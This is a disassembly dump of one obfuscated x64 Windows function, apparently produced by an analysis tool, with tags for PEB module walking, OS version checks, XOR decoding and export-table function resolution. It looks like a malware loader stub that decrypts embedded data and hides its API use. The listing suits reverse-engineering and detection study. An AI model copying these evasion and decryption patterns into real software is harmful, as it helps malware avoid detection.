Function at 0x1800011f0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x168
movdqa xmmword [rsp + 0x150], xmm15
movdqa xmmword [rsp + 0x140], xmm14
movdqa xmmword [rsp + 0x130], xmm13
movdqa xmmword [rsp + 0x120], xmm12
movdqa xmmword [rsp + 0x110], xmm11
movdqa xmmword [rsp + 0x100], xmm10
movdqa xmmword [rsp + 0xf0], xmm9
movdqa xmmword [rsp + 0xe0], xmm8
movdqa xmmword [rsp + 0xd0], xmm7
movdqa xmmword [rsp + 0xc0], xmm6
mov ebx, dword [section..data]
mov eax, dword [0x180025458]
mov ecx, dword [0x18002545c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x5d86acc5
and edx, 0xa279533a
or edx, ebp
xor edx, 0x5d86acc4
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl r14b
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and r14b, dl
or r14b, al
mov eax, ecx
xor al, r14b
xor r14b, 1
xor al, 1
or r14b, cl
xor r14b, 1
or r14b, al
mov dword [rsp + 0xbc], ebx
mov qword [rsp + 0x20], rbx
test rbx, rbx
je 0x18000148f
movabs rax, 0xa152ec82564e618e
movabs r11, 0x4f7d0fd1f9a2e18a
movabs r12, 0x3ea847c4870cdaa2
mov r13, 0xffffffffffffffff
xor r10d, r10d
lea rsi, section..data
nop word cs:[rax + rax]
nop dword [rax]
movabs rbx, 0xaae826cb2c7560ca
mov rdx, rbx
and rdx, r13
not rbx
mov rcx, r10
and rcx, rbx
or rcx, rdx
xor rcx, rbx
mov rdx, r12
not rdx
movabs rbx, 0xaf18ba42d0e6212b
and rdx, rbx
not rbx
mov rbp, r12
and rbp, rbx
or rbp, rdx
xor rbp, rbx
mov rbx, r11
not rbx
mov rdi, rcx
mov rdx, r11
or rdx, rbx
and rdx, rcx
not rcx
and rcx, r11
and rdi, rbx
or rdi, rcx
mov ecx, r11d
and ecx, 0x3ff
and rbx, 0xfffffffffffffc00
or rbx, rcx
xor rbx, rdi
and rdx, 0xfffffffffffffc00
or rdx, rbx
mov rcx, r12
and rcx, rbp
xor rbp, r12
or rbp, rcx
mov rcx, rdx
not rcx
and rcx, rax
mov rdi, rax
not rdi
and rdx, rdi
or rdx, rcx
xor rdx, rdi
xor rbp, rdx
not rbp
and rbp, rdx
test r14b, 1
je 0x1800014c6
movzx ebx, byte [rbp + rsi + 4]
movzx ebp, byte [r10 + rsi + 0x404]
mov edx, ebp
xor dl, 0x7d
and dl, bpl
or bpl, 0x82
mov edi, ebp
not dil
mov r15d, ebx
not r15b
mov ecx, r15d
and cl, 0x9f
and bl, 0x60
or bl, cl
mov ecx, ebx
xor cl, 0x60
xor bl, 0xe2
and bl, cl
or r15b, 0x7d
mov ecx, r15d
not cl
mov r8d, edx
not r8b
mov r9d, ebp
and r9b, 0x77
and dil, 8
or dil, r9b
or bpl, r8b
and r8b, 0x77
and dl, 0x88
or dl, r8b
xor dl, dil
not bpl
or bpl, dl
mov edx, ebx
not dl
mov r8d, edx
and r8b, 0xac
and bl, 0x53
or bl, r8b
or dl, r15b
and r15b, 0xac
and cl, 2
or cl, r15b
xor cl, bl
not dl
or dl, cl
mov ecx, ebp
not cl
and cl, dl
not dl
and dl, bpl
or dl, cl
mov byte [r10 + rsi + 0x404], dl
add r10, 1
add r13, 0xffffffffffffffff
cmp r10, qword [rsp + 0x20]
jb 0x180001320
lea rbp, section..data
mov rbx, qword [rsp + 0x20]
mov al, byte [rbx + rbp + 0x404]
mov cl, byte [rbx + rbp + 0x405]
mov dl, byte [rbx + rbp + 0x406]
mov bl, byte [rbx + rbp + 0x407]
test r14b, 1
je 0x18000157d
jmp 0x180001567
mov bl, byte [r10 + rsi + 0x404]
nop
movzx edx, byte [rbp + rsi + 4]
mov ecx, ebx
not cl
and cl, 0xd6
and bl, 0x29
or bl, cl
mov ecx, edx
not cl
mov eax, ecx
and al, 0x86
and dl, 0x50
or dl, al
mov eax, edx
xor al, 0x50
not dl
or cl, 0x82
and dl, 0xab
and al, 0x54
or al, dl
and cl, 0xab
xor cl, al
mov eax, ebx
not al
and al, cl
not cl
and cl, bl
or cl, al
mov byte [r10 + rsi + 0x404], cl
movzx edx, byte [rbp + rsi + 4]
mov eax, ecx
not al
and al, 0x13
mov ebx, ecx
and bl, 0xec
or bl, al
not dl
xor bl, 0x13
or bl, dl
mov eax, ebx
not al
xor dl, cl
not dl
and dl, cl
mov ecx, edx
not cl
mov r8d, ebx
and r8b, 0x31
and al, 0xce
or al, r8b
or bl, cl
and cl, 0x31
and dl, 0xce
or dl, cl
xor dl, al
not bl
or bl, dl
mov byte [r10 + rsi + 0x404], bl
jmp 0x1800014d0
mov byte [rsp + 0x34], al
mov byte [rsp + 0x35], cl
mov byte [rsp + 0x36], dl
mov byte [rsp + 0x37], bl
test r14b, 1
jne 0x18000158f
mov byte [rsp + 0x34], al
mov byte [rsp + 0x35], cl
mov byte [rsp + 0x36], dl
mov byte [rsp + 0x37], bl
jmp 0x180001567
mov rax, qword [rsp + 0x20]
add rax, rbp
add rax, 0x408
mov qword [rsp + 0x48], rax
mov ebp, dword [rsp + 0x34]
test rbp, rbp
je 0x1800022a5
cmp ebp, 0x20
setb al
movabs rcx, 0x3be62d4e16ecbe1c
sub rcx, rbp
movabs rdx, 0xc419d2b1e91341e5
add rdx, rcx
movabs rcx, 0xc813e06f76a2e68e
add rdx, rcx
sub rcx, rdx
cmp rcx, 0x3ff
seta dl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor r12d, r12d
mov qword [rsp + 0x28], rbp
mov r8, rbp
not r8
cmp al, dl
jne 0x1800016eb
xor al, 1
or al, cl
xor al, 1
lea rdi, section..data
mov rbx, qword [rsp + 0x28]
jne 0x180001f9f
mov rdx, qword [rsp + 0x20]
lea rax, [rdx + rdi]
movabs rcx, 0xed927ab850a1cb80
add rcx, rax
movabs rax, 0x126d8547af5e3888
add rax, rcx
lea rcx, [rbx + rdx]
movabs rdx, 0x6f6333f654cbe8d0
add rcx, rdx
movabs rbp, 0x11e188071baf7eb9
add rcx, rbp
sub rcx, rdx
movabs rdx, 0x974c2b09b8254b11
add rcx, rdx
sub rcx, rbp
sub rcx, rdx
add rcx, rdi
add rcx, 0x408
movabs rdx, 0x9d11ecf275678b94
mov rbp, rbx
sub rbp, rdx
movabs rsi, 0xf22867f29bb1e748
sub rbp, rsi
add rbp, rdx
movabs rdx, 0xfb8d2dcbb7c86990
add rbp, rdx
add rbp, rsi
sub rbp, rdx
lea rdx, [rdi + rbp]
add rdx, 4
cmp rax, rdx
setb dl
lea rax, str.PdDPMIzsfqswExqjDlKMEryVLdZifRAdpvoGvYnDeYjveuyXDhvRuLQHxCEJSqIZXDyISFHhSDBrjJJCZiflvkZhaviTXwqvTLJDeAjgiQxIjAFiuccKPQwnujqZDQSyGOwPwvlIqZEEFVlyUlFvxauTFylheWSVQJUcUYTWCejdkQrIxnLJXiYtfgiKDIrWTFnpFMjzzKARUdEAErueFzCjObwoRQeKPPRpCHveqgYUPsXIlribwHskYMamqAkCwJyCOboUdJZZMRkYKmMgfhytZbrlmrJJksGReEKcnZfIRyxEVisRBUOJFkzhZMqTtYsJzWAqwGwLMJjtfupOqJyebnHIidjVKTLvKDrWZYjKYnHEaqzUoLGcUqAoDALfXCxEhthgqwEXhRxCRAvVWEFfTjuhJKmomgPcVhkhOgaBfAbFlhEPZOGnYnImMIpnlTdtqBHOhpsQXliDnCjOsFKBnDRrGQSUwHLyVFVpjpivtQUQAktTKUjaJsuVyUgBxCmXvqnCEHZmvAJKzmYpQKOllwyldgJflmklLARrBbYvjZmhFtpGKHzMKnnrxczyIBMWbVaaGkttDkJarbRjIgilayDcSHndKuGAehCtvfzPifUmaLfxexylTRkuhOBojxGJzKDsVsLGkydowHjrgSWteLGnaimESWIUxbZrFGcgJAqDUgnVgURRRJSjMXEYzKksXuaIuQAkPpZffDezEERnMVvevIFroRnDEZLRJTLHWOQRmFzMRqwRxlcCLLlmuXyqMUclOZvYhRRmWzudnSYmZdxahwEIVucfXCIOYVRWmLvtnePFcSBHSbYEQZogvfMKZrhyZETELCnnPVmocrGTAtYmbZgiVHwKpAtpADxMpVtwxEtOQqCcvZYHtUrRSpCuckeMkBfasjHYLzxbfduyUVZOGdWKIuftgWoRhtUHZjMWbAmpurFvOMkRJomtlXJbcFrCTbbRagIVIMGcTmbHqsoqnjxvSGZWFeXYuilvwEoAwuecuOKzPhBZkRD
cmp rcx, rax
seta al
setbe cl
xor cl, dl
xor cl, 1
or al, dl
xor al, 1
or al, cl
jne 0x1800016f5
xor al, 1
je 0x1800016f5
xor r12d, r12d
jmp 0x180001f9f
mov rbx, qword [rsp + 0x28]
jmp 0x180001f9f
movabs rax, 0xb7232f71c747c448
mov qword [rsp + 0x40], r8
mov rcx, r8
and rcx, rax
mov edx, ebx
and edx, 0x38b83bb7
or rdx, rcx
xor rdx, rax
not rdx
mov r12d, 0xffffffe0
not r12
mov rax, rdx
and rax, r12
xor r12, rdx
or r12, rax
not r12
movabs rax, 0x553f8ef2871af2c2
movabs rcx, 0xaac0710d78e50d5e
add rcx, rax
mov rdx, r12
sub rdx, rcx
mov rax, rdx
shr rax, 5
movabs rcx, 0xb4ffecad11e7b3eb
movabs rbp, 0x4b001352ee184c14
or rbp, rcx
movabs rcx, 0x37acffa178480176
sub rax, rcx
sub rax, rbp
add rax, rcx
mov rbx, rax
not rbx
movabs rcx, 0xe75e7d67b1057c68
mov rbp, rbx
and rbp, rcx
not rcx
and rcx, rax
or rcx, rbp
movabs rbp, 0x18a182984efa8396
xor rbp, rcx
xor rbx, rbp
and rbx, rbp
test rdx, rdx
mov qword [rsp + 0x50], rbx
je 0x180004b79
movabs rcx, 0x3de84297143400bb
lea r11, [rax + rcx]
movabs rdx, 0xdd917a55eb2b83ba
add r11, rdx
sub r11, rcx
movabs rcx, 0x8bf4c89a43049c8c
sub r11, rcx
sub r11, rbx
sub r11, rdx
add r11, rcx
sub rbx, rax
mov qword [rsp + 0x58], rbx
pcmpeqd xmm13, xmm13
movdqa xmm15, xmmword [0x180007090]
lea r14, section..data
mov rax, qword [rsp + 0x20]
add rax, r14
add rax, 0x418
mov qword [rsp + 0x60], rax
mov r13, 0xffffffffffffffff
xor edx, edx
movdqa xmm8, xmmword [str.________________]
movdqa xmm9, xmmword [0x180007100]
movabs r10, 0x42176fef86beddd1
movdqa xmm11, xmmword [0x1800070a0]
nop word cs:[rax + rax]
nop dword [rax]
mov qword [rsp + 0x38], rdx
mov rcx, r13
and rcx, 0xfffffffffffffc3f
mov eax, edx
and eax, 0x3c0
or rax, rcx
mov r8, rax
movabs rsi, 0x61f89e546d66c9f9
mov rbp, rsi
and rbp, 0xffffffffffffffdf
xor r8, r13
not rsi
mov ecx, esi
and ecx, 0x20
or rcx, rbp
movabs rdx, 0xa4971f4afd97858e
mov rbx, rdx
and r8, rax
not rbx
mov r9, r13
xor r9, rbx
and r9, r13
mov rbp, qword [rsp + 0x38]
xor rcx, rsi
xor rbp, rdx
mov r15, rdx
and rbp, qword [rsp + 0x38]
mov rsi, r10
not rsi
movabs rdi, 0x8152a4a336956dbe
mov r14, rdi
mov eax, r14d
lea rdx, section..data
mov rdi, rdx
movdqu xmm14, xmmword [r8 + rdx + 4]
not eax
mov edx, r15d
not edx
or eax, r14d
movdqu xmm12, xmmword [r8 + rdi + 0x14]
mov r8, rcx
and eax, edx
mov rdi, r9
not rdi
movabs r14, 0x9410746064c117e5
mov rdx, r14
not rdx
mov r15, rdi
and r15, r14
and r9, rdx
or r9, r15
mov r15, rbp
not r15
not r8
or rdi, r15
and r15, r14
and rbp, rdx
or rbp, r15
mov r15, r8
or r15, rbx
or rsi, r10
and eax, 0x20
not r15
xor rbp, r9
not rdi
or rdx, r14
and r15, rsi
and rdx, rdi
or rdx, rbp
mov rbp, r15
mov rsi, rax
not rsi
movabs r14, 0xdb9ae81d69f0c5f8
mov rdi, r14
not rbp
not rdi
mov r9, rsi
or esi, ebp
and r15, rdi
and rbp, r14
and r9, r14
and eax, edi
or rax, r9
or r15, rbp
xor rax, r15
not esi
or edi, r14d
mov r9, r13
and edi, esi
not r9
movabs r14, 0xd9f7f9d0eadf599b
mov rbp, r14
not rbp
mov r15, r9
and r15, r14
mov rsi, r13
and rsi, rbp
or rsi, r15
or r9, r8
and rcx, rbp
and r8, r14
or rcx, r8
xor rcx, rsi
mov rsi, rdx
not r9
not rsi
or rbp, r14
and rbp, r9
or rbp, rcx
mov rcx, rbp
or rdi, rax
not rcx
movabs rax, 0x7c261e52516d97f6
and rcx, rax
not rax
and rsi, rdi
and rbp, rax
or rbp, rcx
xor rbp, rax
movabs rcx, 0xa4971f4afd97858e
mov rax, rcx
not rdi
and rax, rbx
xor rbx, rcx
or rbx, rax
and rdi, rdx
not rbp
not rbx
or rbx, rbp
movabs rcx, 0x212cbadaaabaa79b
mov rax, rcx
or rdi, rsi
not rax
or rax, rcx
not rbx
and rbx, rax
mov rax, rdi
not rax
mov rcx, rbx
not rcx
movabs rbp, 0x49d69dde08959daf
mov r15, rbp
not r15
mov rdx, rax
and rdx, rbp
and rdi, r15
or rdi, rdx
or rax, rcx
and rcx, rbp
and rbx, r15
or rbx, rcx
not rax
xor rbx, rdi
or r15, rbp
movabs rbp, 0xb07d3987987d9d76
mov rdx, rbp
and rdx, 0xfffffffffffffc1f
not rbp
mov ecx, ebp
and r15, rax
and ecx, 0x3e0
or rcx, rdx
xor rcx, rbp
movabs rsi, 0x22abac89765db7fe
mov rdx, rsi
or r15, rbx
mov rax, r15
not rdx
movabs rdi, 0x3e6f14303456194c
mov rbx, rdi
and rbx, rdx
not rdi
mov rbp, rsi
not rax
and rbp, rdi
or rbp, rbx
xor rbp, rdi
mov rbx, rax
and rbx, rcx
xor rcx, rax
movabs r8, 0xd8457caf681ac5a8
mov rax, r8
not rax
mov rdi, rdx
and rdi, r8
and rsi, rax
or rsi, rdi
mov rdi, rbp
not rdi
or rdx, rdi
and rdi, r8
and rbp, rax
or rbp, rdi
xor rbp, rsi
not rdx
or rax, r8
and rax, rdx
or rax, rbp
or rcx, rbx
mov rdx, rcx
not rdx
movabs rbx, 0xa4455285812eca7e
mov rbp, rbx
not rbp
and rcx, rbp
and rdx, rbx
or rcx, rdx
xor rcx, rbp
mov rdx, qword [rsp + 0x38]
xor rax, rcx
not rax
and rax, rcx
mov rcx, qword [rsp + 0x60]
movdqu xmm1, xmmword [rcx + rdx - 0x10]
movdqu xmm2, xmmword [rcx + rdx]
movdqa xmm3, xmm14
pxor xmm3, xmm13
por xmm3, xmm1
pxor xmm1, xmm13
movdqa xmm4, xmm3
pxor xmm4, xmm13
por xmm1, xmm14
movdqa xmm5, xmm1
pxor xmm5, xmm13
movdqa xmm6, xmm3
movdqa xmm0, xmmword [section..rdata]
pand xmm6, xmm0
por xmm3, xmm1
movdqa xmm7, xmm0
pand xmm1, xmm0
pandn xmm7, xmm4
por xmm7, xmm6
movdqa xmm4, xmm0
movdqa xmm6, xmm2
movdqa xmm10, xmmword [str.IIIIIIIIIIIIIIII]
pxor xmm6, xmm10
pandn xmm4, xmm5
pand xmm6, xmm2
por xmm2, xmmword [0x180007020]
movdqa xmm14, xmm2
pxor xmm14, xmm13
movdqa xmm5, xmmword [str.MMMMMMMMMMMMMMMM]
movdqa xmm0, xmm5
por xmm4, xmm1
pandn xmm0, xmm12
movdqa xmm1, xmm12
pxor xmm1, xmm10
pand xmm1, xmm12
pandn xmm12, xmm5
por xmm0, xmm12
movdqa xmm5, xmm0
movdqa xmm10, xmmword [0x180007040]
pxor xmm5, xmm10
pxor xmm0, xmmword [0x180007050]
pxor xmm3, xmm13
pand xmm0, xmm5
pandn xmm2, xmm6
pxor xmm6, xmm14
pxor xmm4, xmm7
por xmm6, xmm2
movdqa xmm2, xmm0
pand xmm2, xmm1
pxor xmm1, xmm0
por xmm1, xmm2
movdqa xmm2, xmmword [0x180007060]
movdqa xmm0, xmm2
pandn xmm0, xmm6
pandn xmm6, xmm2
por xmm6, xmm0
movdqa xmm0, xmm2
por xmm3, xmm4
pandn xmm0, xmm1
pandn xmm1, xmm2
por xmm1, xmm0
pxor xmm1, xmm6
movdqu xmmword [rcx + rdx - 0x10], xmm3
movdqu xmmword [rcx + rdx], xmm1
lea rcx, section..data
movdqu xmm0, xmmword [rax + rcx + 4]
movdqu xmm5, xmmword [rax + rcx + 0x14]
mov rax, qword [rsp + 0x48]
movdqu xmm1, xmmword [rax + r15]
movdqu xmm3, xmmword [rax + r15 + 0x10]
movdqa xmm6, xmmword [str.ssssssssssssssss_________________]
movdqa xmm12, xmm6
movdqa xmm7, xmm6
pandn xmm7, xmm1
movdqa xmm2, xmm0
movdqa xmm6, xmmword [0x180007080]
movdqa xmm4, xmm6
pandn xmm4, xmm0
pandn xmm0, xmm6
por xmm0, xmm4
movdqa xmm4, xmm1
pxor xmm4, xmm6
pxor xmm4, xmm0
pand xmm4, xmm1
pandn xmm1, xmm12
pxor xmm2, xmm13
por xmm7, xmm1
pxor xmm7, xmm12
movdqa xmm6, xmm4
pxor xmm6, xmm13
movdqa xmm12, xmm15
movdqa xmm1, xmm15
pandn xmm1, xmm4
por xmm7, xmm2
movdqa xmm14, xmm7
pandn xmm4, xmm15
por xmm4, xmm1
movdqa xmm0, xmm10
pandn xmm0, xmm3
movdqa xmm1, xmm3
por xmm6, xmm7
movdqa xmm2, xmm7
pxor xmm1, xmm11
pand xmm1, xmm3
pandn xmm3, xmm10
pxor xmm2, xmm13
por xmm0, xmm3
pxor xmm0, xmm10
por xmm0, xmmword [str.RRRRRRRRRRRRRRRR]
movdqa xmm7, xmm5
pandn xmm12, xmm2
pxor xmm7, xmm13
movdqa xmm3, xmmword [0x1800070c0]
movdqa xmm2, xmm3
pandn xmm2, xmm5
pandn xmm5, xmm3
pand xmm14, xmm15
por xmm5, xmm2
movdqa xmm2, xmm5
pxor xmm2, xmmword [0x1800070d0]
pxor xmm5, xmmword [0x1800070e0]
por xmm12, xmm14
pand xmm5, xmm2
por xmm7, xmm11
movdqa xmm2, xmm7
movdqa xmm3, xmm0
pandn xmm3, xmm1
pxor xmm2, xmm13
pxor xmm1, xmm13
pxor xmm1, xmm0
por xmm1, xmm3
movdqa xmm3, xmm5
movdqa xmm0, xmm8
pandn xmm0, xmm5
pandn xmm5, xmm8
por xmm5, xmm0
movdqa xmm0, xmm8
pandn xmm0, xmm2
pxor xmm3, xmm13
por xmm3, xmm7
pand xmm7, xmm8
por xmm0, xmm7
pxor xmm4, xmm12
pxor xmm0, xmm5
pxor xmm3, xmm13
por xmm3, xmm0
movdqa xmm0, xmm9
pandn xmm0, xmm1
pandn xmm1, xmm9
por xmm1, xmm0
pxor xmm6, xmm13
por xmm6, xmm4
movdqa xmm0, xmm9
pandn xmm0, xmm3
pandn xmm3, xmm9
por xmm3, xmm0
pxor xmm3, xmm1
movdqu xmmword [rax + r15], xmm6
movdqu xmmword [rax + r15 + 0x10], xmm3
movabs rax, 0xe1e18f55ad9d499
mov rcx, rax
sub r11, rax
movabs rax, 0x8113282a6ada6563
add r11, rax
add r11, rcx
movabs rcx, 0x3c64611452c1610d
add r11, rcx
sub r11, rax
add rdx, 0x40
sub r11, rcx
add r11, 0xfffffffffffffffe
add r13, 0xffffffffffffffc0
add qword [rsp + 0x58], 2
jne 0x180001860
cmp qword [rsp + 0x50], 0
je 0x180001f8c
mov rax, rdx
not rax
mov rcx, rax
and rcx, 0xfffffffffffffc1f
mov ebp, edx
and ebp, 0x3e0
or rbp, rcx
not rbp
or rbp, rax
not rbp
lea rax, section..data
movdqu xmm3, xmmword [rbp + rax + 4]
movdqu xmm2, xmmword [rbp + rax + 0x14]
mov rax, qword [rsp + 0x48]
movdqu xmm4, xmmword [rax + rdx]
movdqu xmm1, xmmword [rax + rdx + 0x10]
pcmpeqd xmm0, xmm0
pxor xmm4, xmm0
movdqa xmm5, xmm4
pxor xmm5, xmm3
pandn xmm5, xmm3
por xmm4, xmm3
pxor xmm0, xmm4
pandn xmm4, xmm5
pxor xmm0, xmm5
por xmm0, xmm4
movdqa xmm3, xmmword [0x180007110]
movdqa xmm4, xmm1
pandn xmm4, xmm3
movdqa xmm5, xmm3
pandn xmm5, xmm1
por xmm5, xmm4
pxor xmm5, xmm3
pxor xmm5, xmm2
pand xmm5, xmm2
movdqa xmm3, xmmword [0x180007120]
movdqa xmm4, xmm3
pandn xmm4, xmm2
pandn xmm2, xmm3
por xmm2, xmm4
pxor xmm3, xmm1
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm1, xmm5
pand xmm1, xmm3
pxor xmm3, xmm5
por xmm3, xmm1
movdqu xmmword [rax + rdx], xmm0
movdqu xmmword [rax + rdx + 0x10], xmm3
mov rbx, qword [rsp + 0x28]
cmp r12, rbx
mov r8, qword [rsp + 0x40]
je 0x1800022a5
mov rsi, r12
not rsi
mov rax, rsi
and rax, r12
movabs rbp, 0xec6702e545af1720
mov rdx, rbp
not rdx
mov rcx, rsi
and rcx, rdx
and rdx, rax
not rax
mov rdi, r12
and rdi, rbp
or rcx, rdi
and rbp, rax
or rdx, rbp
xor rdx, rcx
or rax, r12
not rax
or rax, rdx
and r8, 0xfffffffffffffffe
mov rcx, rbx
xor rcx, 1
or rcx, r8
cmp rcx, 0xffffffffffffffff
mov r8, rbx
je 0x18000209c
movabs rcx, 0x586f8e0afaac6d36
mov rdx, rsi
and rdx, rcx
not rcx
mov rbp, r12
and rbp, rcx
or rbp, rdx
xor rbp, rcx
mov rcx, rbp
and rcx, 0xfffffffffffffc1f
xor rbp, 0xfffffffffffffc1f
or rbp, rcx
not rbp
lea rcx, section..data
mov cl, byte [rbp + rcx + 4]
mov rbp, qword [rsp + 0x48]
mov dl, byte [rbp + r12]
not cl
mov ebx, ecx
or bl, dl
not bl
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov byte [rbp + r12], cl
mov rcx, r12
xor rcx, 0xfffffffffffffffe
and rcx, r12
movabs rdx, 0xa0bea692666f8e49
and rsi, rdx
not rdx
and rdx, r12
or rdx, rsi
movabs r12, 0xa0bea692666f8e48
xor r12, rdx
mov rdx, rcx
and rdx, r12
xor r12, rcx
or r12, rdx
movabs rcx, 0x2c1b79b12aa398db
mov rdx, r8
sub rdx, rcx
add rdx, rax
movabs rax, 0xd3e4864ed55c6725
cmp rdx, rax
je 0x1800022a5
movabs rcx, 0xf40cd06003338d50
movabs r15, 0xde3e39f0726d8276
movabs r11, 0x94adbe63f197cdec
movabs r13, 0x8c5e14b1d49c3f6a
mov rdi, 0xfffffffffffffffe
sub rdi, r12
mov rax, qword [rsp + 0x20]
lea rdx, section..data
lea r14, [rax + rdx]
add r14, 0x409
not r13
mov rbp, r11
not rbp
and rbp, rcx
not rcx
and r11, rcx
or r11, rbp
xor r11, rcx
not r15
lea r10, section..data
nop dword [rax]
lea rbp, [rdi + 1]
movabs rax, 0x8c5e14b1d49c3f6a
and rbp, rax
mov rdx, r12
and rdx, r13
or rdx, rbp
xor rdx, r13
mov rbp, rdx
movabs rax, 0xde3e39f0726d8276
mov rsi, rax
or rsi, r15
and rsi, rdx
not rdx
and rdx, rax
and rbp, r15
or rbp, rdx
mov edx, eax
and edx, 0x3ff
mov rcx, r15
and rcx, 0xfffffffffffffc00
or rcx, rdx
xor rcx, rbp
and rsi, 0xfffffffffffffc00
or rsi, rcx
movabs rbp, 0x94adbe63f197cdec
mov rcx, rbp
and rcx, r11
xor rbp, r11
or rbp, rcx
not rsi
xor rbp, rsi
not rbp
and rbp, rsi
lea rax, [r12 + 1]
movabs r9, 0x6467836e38b10f6f
mov rdx, r9
and rdx, 0xfffffffffffffc00
not r9
mov esi, r9d
and esi, 0x3ff
or rsi, rdx
xor rsi, r9
movabs rcx, 0x1a1d633346eece64
mov rdx, rcx
and rdx, rdi
mov rbx, rcx
not rbx
and rax, rbx
or rax, rdx
and rbx, rsi
not rsi
and rsi, rcx
or rbx, rsi
movzx ebp, byte [rbp + r10 + 4]
movzx r9d, byte [r14 + r12 - 1]
xor rbx, rax
mov rsi, rbx
xor rsi, rdi
and rsi, rbx
mov eax, r9d
xor al, 0x29
and al, r9b
not r9b
and r9b, 0x29
mov ecx, r9d
and cl, al
xor al, r9b
mov ebx, ebp
not bl
or bpl, 0xd6
or al, cl
mov ecx, ebp
not cl
or bl, 0x29
and bpl, 0xc8
and cl, 0x21
or cl, bpl
mov edx, ebx
not dl
and bl, 0xc8
and dl, 0x16
or dl, bl
xor dl, cl
mov ecx, eax
not cl
and cl, dl
not dl
and dl, al
or dl, cl
movzx eax, byte [r14 + r12]
mov byte [r14 + r12 - 1], dl
movzx ecx, byte [rsi + r10 + 4]
not al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or al, cl
not al
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov byte [r14 + r12], al
add rdi, 0xfffffffffffffffe
add r12, 2
cmp r12, r8
jne 0x180002130
movsxd rdi, dword [0x180008440]
mov ecx, dword [0x180025460]
mov edx, dword [0x180025464]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
and ebp, 1
or ebp, ebx
xor ecx, ebp
test ecx, ebp
setne bl
cmp edx, 9
setg cl
cmp edx, 0xa
setl dl
xor dl, bl
xor dl, 1
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
xor cl, 1
test dl, cl
jne 0x180002302
xor dl, cl
jne 0x180002302
nop word [rax + rax]
jmp 0x180002300
lea rax, section..data
lea r9, [rdi + rax]
add r9, 0x404
mov rcx, qword [rsp + 0x20]
lea r14, [rcx + rax]
add r14, 0x407
nop word cs:[rax + rax]
nop
cmp byte [r14 + 1], 0
lea r14, [r14 + 1]
jne 0x180002330
mov rcx, r14
add rcx, 1
mov rax, rcx
mov qword [rsp + 0x90], rcx
mov rsi, rcx
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180002350
mov rcx, rsi
nop dword [rax]
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180002360
mov eax, dword [0x180025468]
mov edi, dword [0x18002546c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x54166861
and edx, 0xabe9979e
or edx, ebp
xor edx, 0x54166860
or edx, eax
cmp edx, 0xffffffff
setne r8b
sete bl
cmp edi, 9
setg dl
cmp edi, 0xa
setl al
xor al, bl
xor al, 1
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
cmp al, dl
jne 0x1800023d2
or al, dl
xor al, 1
jne 0x1800023d2
nop word cs:[rax + rax]
nop
jmp 0x1800023d0
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x98], r9
movabs r9, 0x4815f81f2eb3769d
mov rax, qword gs:[0x60]
mov r13, qword [rax + 0x18]
add r13, 0x10
mov eax, dword [0x180025470]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x180025474], 0xa
setl cl
xor al, cl
mov r12d, eax
not r12b
and r12b, cl
mov ecx, r12d
and cl, al
xor r12b, al
or r12b, cl
mov qword [rsp + 0x20], r13
mov r13, qword [r13]
cmp r13, qword [rsp + 0x20]
je 0x180005342
mov rdx, r14
cmp byte [rdx + 1], 0
lea rdx, [rdx + 1]
jne 0x180002460
test r12b, r12b
je 0x1800025d0
movabs rax, 0x6d46bba0239c5ec2
mov rcx, rax
add rdx, rax
movabs rax, 0xe486834d42774789
sub rdx, rax
sub rdx, rcx
movabs rcx, 0x3cde7b865a1260ff
sub rdx, rcx
sub rdx, qword [rsp + 0x90]
add rdx, rcx
add rdx, rax
je 0x180002544
mov r10, qword [r13 + 0x60]
xor r15d, r15d
mov rbp, rdx
nop
movzx ebx, word [r10 + r15*2]
test ebx, ebx
setne al
movsx edi, byte [r14 + r15 + 1]
lea r8d, [rbx - 0x41]
lea esi, [rbx + 0x20]
cmp r8w, 0x1a
cmovae esi, ebx
lea r8d, [rdi - 0x41]
lea r11d, [rdi + 0x20]
cmp r8b, 0x1a
cmovae r11d, edi
sub esi, r11d
sete r11b
setne cl
and cl, al
or ebx, esi
sete r8b
or r8b, cl
mov ecx, eax
and cl, r11b
xor al, r11b
or al, cl
mov ecx, eax
xor cl, 1
cmp r8b, cl
jne 0x18000253c
xor r8b, 1
or r8b, al
xor r8b, 1
jne 0x18000253c
add rbp, r9
mov rax, r9
not rax
add rbp, rax
add r15, 1
cmp rdx, r15
jne 0x1800024c0
jmp 0x180002544
test esi, esi
jne 0x18000244e
mov r13, qword [r13 + 0x30]
mov eax, dword [0x180025478]
mov ecx, dword [0x18002547c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x28030d29
and edx, 0xd7fcf2d6
or edx, eax
xor edx, 0xd7fcf2d6
sete dl
setne bl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
and bl, cl
and al, dl
or al, bl
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
test al, cl
lea r12, section..data
jne 0x1800025d2
xor al, cl
jne 0x1800025d2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800025c0
jmp 0x1800025d0
